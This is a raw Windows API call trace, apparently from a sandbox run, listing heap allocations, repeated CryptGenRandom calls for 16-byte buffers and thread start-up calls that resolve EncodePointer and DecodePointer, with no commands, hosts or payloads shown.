[0237.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0237.655] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681c4 | out: pbBuffer=0x36681c4) returned 1 [0237.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0237.656] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0237.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.656] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0237.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0237.657] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0237.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0237.657] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c3c | out: pbBuffer=0x3668c3c) returned 1 [0237.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0237.658] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668264 | out: pbBuffer=0x3668264) returned 1 [0237.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.658] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0237.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0237.659] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0237.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0237.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0237.659] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366819c | out: pbBuffer=0x366819c) returned 1 [0237.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0237.660] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ad4 | out: pbBuffer=0x3655ad4) returned 1 [0237.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0237.661] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ee4 | out: pbBuffer=0x3655ee4) returned 1 [0237.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0237.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0237.661] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674bc4 | out: pbBuffer=0x3674bc4) returned 1 [0237.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0237.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0237.662] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674944 | out: pbBuffer=0x3674944) returned 1 [0237.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0237.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0237.662] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674b9c | out: pbBuffer=0x3674b9c) returned 1 [0237.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0237.663] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674854 | out: pbBuffer=0x3674854) returned 1 [0237.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.663] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674cb4 | out: pbBuffer=0x3674cb4) returned 1 [0237.664] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367428c | out: pbBuffer=0x367428c) returned 1 [0237.664] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674214 | out: pbBuffer=0x3674214) returned 1 [0237.664] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674ad4 | out: pbBuffer=0x3674ad4) returned 1 [0237.665] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674da4 | out: pbBuffer=0x3674da4) returned 1 [0237.666] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0237.666] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f84 | out: pbBuffer=0x3664f84) returned 1 [0237.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0237.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0237.667] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f0c | out: pbBuffer=0x3664f0c) returned 1 [0237.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0237.667] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ad4 | out: pbBuffer=0x3664ad4) returned 1 [0237.668] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b24 | out: pbBuffer=0x3664b24) returned 1 [0237.668] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cb4 | out: pbBuffer=0x3664cb4) returned 1 [0237.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664fac | out: pbBuffer=0x3664fac) returned 1 [0237.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36640ac | out: pbBuffer=0x36640ac) returned 1 [0237.669] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367264c | out: pbBuffer=0x367264c) returned 1 [0237.670] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36726ec | out: pbBuffer=0x36726ec) returned 1 [0237.670] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36728cc | out: pbBuffer=0x36728cc) returned 1 [0237.671] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672f5c | out: pbBuffer=0x3672f5c) returned 1 [0237.671] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367223c | out: pbBuffer=0x367223c) returned 1 [0237.671] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36721c4 | out: pbBuffer=0x36721c4) returned 1 [0237.672] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x346637c | out: pbBuffer=0x346637c) returned 1 [0237.673] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655ee4 | out: pbBuffer=0x3655ee4) returned 1 [0237.673] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3466264 | out: pbBuffer=0x3466264) returned 1 [0237.674] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f5c | out: pbBuffer=0x3655f5c) returned 1 [0237.674] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36552dc | out: pbBuffer=0x36552dc) returned 1 [0237.674] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f84 | out: pbBuffer=0x3655f84) returned 1 [0237.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3130674 | out: pbBuffer=0x3130674) returned 1 [0237.675] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36559bc | out: pbBuffer=0x36559bc) returned 1 [0237.676] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x313055c | out: pbBuffer=0x313055c) returned 1 [0237.676] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688f4 | out: pbBuffer=0x36688f4) returned 1 [0237.677] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0237.677] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0237.677] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0237.678] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f34 | out: pbBuffer=0x3668f34) returned 1 [0237.678] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0237.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e94 | out: pbBuffer=0x3668e94) returned 1 [0237.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e1c | out: pbBuffer=0x3668e1c) returned 1 [0237.680] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0237.680] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36686ec | out: pbBuffer=0x36686ec) returned 1 [0237.691] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668264 | out: pbBuffer=0x3668264) returned 1 [0237.692] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668df4 | out: pbBuffer=0x3668df4) returned 1 [0237.692] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ee4 | out: pbBuffer=0x3668ee4) returned 1 [0237.692] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36686c4 | out: pbBuffer=0x36686c4) returned 1 [0237.693] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c3c | out: pbBuffer=0x3668c3c) returned 1 [0237.693] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668084 | out: pbBuffer=0x3668084) returned 1 [0237.694] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0237.694] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0237.695] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668da4 | out: pbBuffer=0x3668da4) returned 1 [0237.695] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668fd4 | out: pbBuffer=0x3668fd4) returned 1 [0237.695] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0237.696] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0237.762] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681c4 | out: pbBuffer=0x36681c4) returned 1 [0237.820] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0237.826] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d54 | out: pbBuffer=0x3668d54) returned 1 [0237.830] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366828c | out: pbBuffer=0x366828c) returned 1 [0237.835] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ebc | out: pbBuffer=0x3668ebc) returned 1 [0237.840] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bc4 | out: pbBuffer=0x3668bc4) returned 1 [0237.844] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685d4 | out: pbBuffer=0x36685d4) returned 1 [0237.848] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366819c | out: pbBuffer=0x366819c) returned 1 [0237.852] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0237.856] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0237.869] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b9c | out: pbBuffer=0x3668b9c) returned 1 [0237.873] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bec | out: pbBuffer=0x3668bec) returned 1 [0237.877] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0237.881] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684bc | out: pbBuffer=0x36684bc) returned 1 [0237.884] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0237.887] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668584 | out: pbBuffer=0x3668584) returned 1 [0237.891] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689bc | out: pbBuffer=0x36689bc) returned 1 [0237.894] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668ad4 | out: pbBuffer=0x3668ad4) returned 1 [0237.898] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0237.901] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682b4 | out: pbBuffer=0x36682b4) returned 1 [0237.920] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0237.924] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0237.929] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cdc | out: pbBuffer=0x3668cdc) returned 1 [0237.933] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36681ec | out: pbBuffer=0x36681ec) returned 1 [0237.938] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0237.942] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0237.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685ac | out: pbBuffer=0x36685ac) returned 1 [0237.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a34 | out: pbBuffer=0x3668a34) returned 1 [0237.955] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f0c | out: pbBuffer=0x3668f0c) returned 1 [0237.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668174 | out: pbBuffer=0x3668174) returned 1 [0237.993] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36684e4 | out: pbBuffer=0x36684e4) returned 1 [0237.997] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36683cc | out: pbBuffer=0x36683cc) returned 1 [0238.002] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366805c | out: pbBuffer=0x366805c) returned 1 [0238.005] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e44 | out: pbBuffer=0x3668e44) returned 1 [0238.009] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0238.019] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0238.022] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0238.028] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366887c | out: pbBuffer=0x366887c) returned 1 [0238.041] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366850c | out: pbBuffer=0x366850c) returned 1 [0238.045] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0238.048] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0238.051] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 Thread: id = 4 os_tid = 0xee8 Thread: id = 5 os_tid = 0xfb8 [0081.531] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0081.531] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0081.531] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x214) returned 0x2ba7070 [0081.531] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0081.531] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0081.532] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0081.532] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0081.532] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0081.532] GetCurrentThreadId () returned 0xfb8 Thread: id = 6 os_tid = 0xcdc [0109.233] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.233] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x214) returned 0x2ba7f88 [0109.234] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.234] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.235] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.235] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0109.235] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.235] GetCurrentThreadId () returned 0xcdc Thread: id = 7 os_tid = 0xd40 [0109.238] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.238] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.238] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x214) returned 0x2ba8600 [0109.238] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.239] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.239] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0109.239] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0109.239] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0109.240] GetCurrentThreadId () returned 0xd40